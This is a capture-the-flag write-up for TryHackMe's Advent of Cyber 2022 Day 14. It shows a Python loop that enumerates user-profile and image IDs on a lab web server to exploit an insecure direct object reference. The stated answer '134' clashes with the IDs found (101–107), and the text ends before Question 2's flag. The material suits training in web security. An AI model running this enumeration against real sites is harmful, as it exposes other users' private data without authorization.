~$ Advent of Cyber 2022 - Day 14

Posted on Dec. 14th, 2022. | Est. reading time: 2 minutes

Author:

Unknown

Category:

Red Team: Web Applications

Link:

TryHackMe

Question 1

What is the office number of Elf Pivot McRed?

We notice the parameter in the URL and automate a script to determine which ID’s provide a result:

Screenshot of the vulnerable URL pattern

The code is:

1
Python 3.6.9 (default, Jul 17 2020, 12:50:27)
2
[GCC 8.4.0] on linux
3
Type "help", "copyright", "credits" or "license" for more information.
4
>>> import requests as r
5
>>> url = "http://10.10.85.26:8080/users/%s.html"
6
>>> url % 101
7
'http://10.10.85.26:8080/users/101.html'
8
>>> ok = []
9
>>> for i in range(200):
10
...     res = r.get(url % i)
11
...     if res.status_code == 200:
12
...             ok += [i]
13
...             print(f"Found page at ID {i}")
14
...
15
Found page at ID 101
16
Found page at ID 102
17
Found page at ID 103
18
Found page at ID 104
19
Found page at ID 105
20
Found page at ID 106
21
Found page at ID 107
22
>>> ok
23
[101, 102, 103, 104, 105, 106, 107]

We then look at these ID’s to find which one is Elf Pivot McRed:

Answer: 134

Question 2

Not only profile pages but also stored images are vulnerable. Start with a URL of a valid profile image; what is the hidden flag?

We see the images are at ../images/$ID.png.

We modify the code to:

1
Python 3.6.9 (default, Jul 17 2020, 12:50:27)
2
[GCC 8.4.0] on linux
3
Type "help", "copyright", "credits" or "license" for more information.
4
>>> import requests as r
5
>>> url = "http://10.10.85.26:8080/users/../images/%s.png"
6
>>> url % 101
7
'http://10.10.85.26:8080/users/../images/101.png'
8
>>> ok = []
9
>>> for i in range(200):
10
...     res = r.get(url % i)
11
...     if res.status_code == 200:
12
...             ok += [i]
13
...             print(f"Found image at ID {i}")
14
...
15
Found image at ID 100
16
Found image at ID 101
17
Found image at ID 102
18
Found image at ID 103
19
Found image at ID 104
20
Found image at ID 105
21
Found image at ID 106
22
Found image at ID 107
23
>>> ok
24
[100, 101, 102, 103, 104, 105, 106, 107]